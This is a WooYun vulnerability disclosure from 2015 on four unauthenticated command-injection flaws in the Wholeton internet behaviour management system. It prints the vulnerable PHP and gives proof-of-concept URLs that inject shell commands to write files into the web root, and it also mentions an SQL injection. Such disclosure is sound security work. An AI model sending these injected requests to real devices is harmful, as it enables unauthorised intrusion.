当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(16) 关注此漏洞

缺陷编号: WooYun-2015-103676

漏洞标题: 惠尔顿上网行为管理系统命令执行四处(无需登录)

相关厂商: cncert国家互联网应急中心

漏洞作者: xfkxfk认证白帽子

提交时间: 2015-03-28 11:32

公开时间: 2015-06-29 08:36

漏洞类型: 命令执行

危害等级: 高

自评Rank: 20

漏洞状态: 已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 第三方不可信程序 php源码审核 命令执行

2人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-28: 细节已通知厂商并且等待厂商处理中
2015-03-31: 厂商已经确认,细节仅向厂商公开
2015-04-03: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2015-05-25: 细节向核心白帽子及相关领域专家公开
2015-06-04: 细节向普通白帽子公开
2015-06-14: 细节向实习白帽子公开
2015-06-29: 细节向公众公开

简要描述:

捡pandas牛剩下的,惠尔顿上网行为管理系统命令执行四处(无需登录)

详细说明:

官网经典案例:http://**.**.**.**/Anli.php

外网部分实际案例:

code 区域
1.https://**.**.**.**
2.https://**.**.**.**/
3.**.**.**.**
4.**.**.**.**
5.**.**.**.**/
6.http://**.**.**.**/





第一处命令执行

文件/base/tpl/delectSSLL.php

code 区域
<?php 
$ssl_dir = "/usr/local/WholetonTM/triton/conf/URL/ssl/";
$id =$_REQUEST['id'];
exec ("rm ".$ssl_dir.$id);
ECHO "rm ".$ssl_dir.$id;
?>



这里id可控,直接进入exec执行



第二处命令执行:

文件/base/vpn/download_nodes.php

code 区域
<?php 
$upload_dir = str_replace(";", "", $_REQUEST['file']);
$upload_file = "nodes";
$fp = fopen($upload_dir.$upload_file, "r ");
Header( "Content-type: application/octet-stream ");
Header( "Accept-Ranges: bytes ");
Header( "Accept-Length: ".filesize($upload_dir.$upload_file));
Header( "Content-Disposition: attachment; filename=".$upload_file);
echo fread($fp,filesize($upload_dir.$upload_file));
fclose($fp);
exec("rm ".$upload_dir.$upload_file);
exit;
?>



变量upload_dir可控,而且还进行了过滤,但是不影响



第三处命令执行:

文件/base/tpl/delectSSL.php

code 区域
<?php
$thisfile = basename($_SERVER['PHP_SELF']);
$RootDir = $_SERVER["DOCUMENT_ROOT"].'/base/';
include_once "$RootDir/include/gblinclude.php";

$ssl_dir = "/usr/local/WholetonTM/triton/conf/URL/ssl/";
$id = urldecode($_REQUEST['id']);
exec ("rm ".$ssl_dir.$id);
$sql = "select domain,Id from tb_ssl_policy where domain like '%$id%'";
$dataList = $gblDBConnect->getAll($sql);
if(is_array($dataList)){
foreach($dataList as $obj){
$new_domain = array();
$new_domain1= '';
$domain = explode("::",$obj->domain);
if(count($domain)>0){
for($d = 0;$d<count($domain);$d++){
if($domain[$d]!=trim($id)){
$new_domain[] = $domain[$d];
}
}
$new_domain1 = implode("::",$new_domain);
}
$update_policy = "update tb_ssl_policy set domain='".$new_domain1."' where Id=".$obj->Id;
$gblDBConnect->execute($update_policy);
}
}
?>



此处某些版本需要登陆,有些版本不需要登录

参数id可控

而且id参数还造成SQL注入漏洞



第四处命令执行:

文件/base/user/clearScreenImg.php

code 区域
<?php 
$thisfile = basename($_SERVER['PHP_SELF']);
$RootDir = $_SERVER["DOCUMENT_ROOT"].'/base/';
include_once "$RootDir/include/gblinclude.php";
$user = $_REQUEST['user']?$_REQUEST['user']:"*";
exec("rm -rf /opt/triton/client_screen/".$user);
?>



参数user可控

漏洞证明:

这一次换一个案例证明:

以案例:**.**.**.**为例



第一处证明:

code 区域
https://**.**.**.**/base/tpl/delectSSLL.php?id=;echo '333333'>/usr/local/WholetonTM/htdocs/333333.php



3.png





第二处证明:

code 区域
https://**.**.**.**/base/vpn/download_nodes.php?file=123|echo '444444'>/usr/local/WholetonTM/htdocs/444444.php|



3.png





第三处和第四处都一样,直接拼接命令即可。

修复方案:

重写。

版权声明:转载请注明来源 xfkxfk@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-03-31 08:34

厂商回复:

CNVD确认并复现所述情况,已经由CNVD直接向软件生产厂商_深圳惠尔顿公司电话和邮件通报.

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2015-03-26 13:31 | pandas ( 普通白帽子 | Rank:701 漏洞数:79 | 国家一级保护动物)
    1

    你就不能留点rank给后人刷吗?看xk提漏洞总是能想到电鱼那种灭绝性的捕鱼方式,一电死一片,鱼苗都不留。

  2. 2015-03-26 13:37 | xfkxfk 认证白帽子 ( 核心白帽子 | Rank:2299 漏洞数:351 | 呵呵!)
    0

    @pandas 你要让他痛的厉害了,他才会看医生的

  3. 2015-06-29 09:17 | 这只猪 ( 路人 | Rank:24 漏洞数:6 | )(2009年荣获CCAV首届挖洞大使称号)(★★★...)
    0

    收藏!!!

  4. 2015-07-04 09:41 | BeenQuiver ( 普通白帽子 | Rank:103 漏洞数:27 | 专注而高效,坚持好的习惯千万不要放弃)
    0

    简单的洞洞

  5. 2015-07-14 17:41 | 明月影 ( 路人 | Rank:12 漏洞数:8 )
    0

    鱼苗都不留……

登录后才能发表评论,请先 登录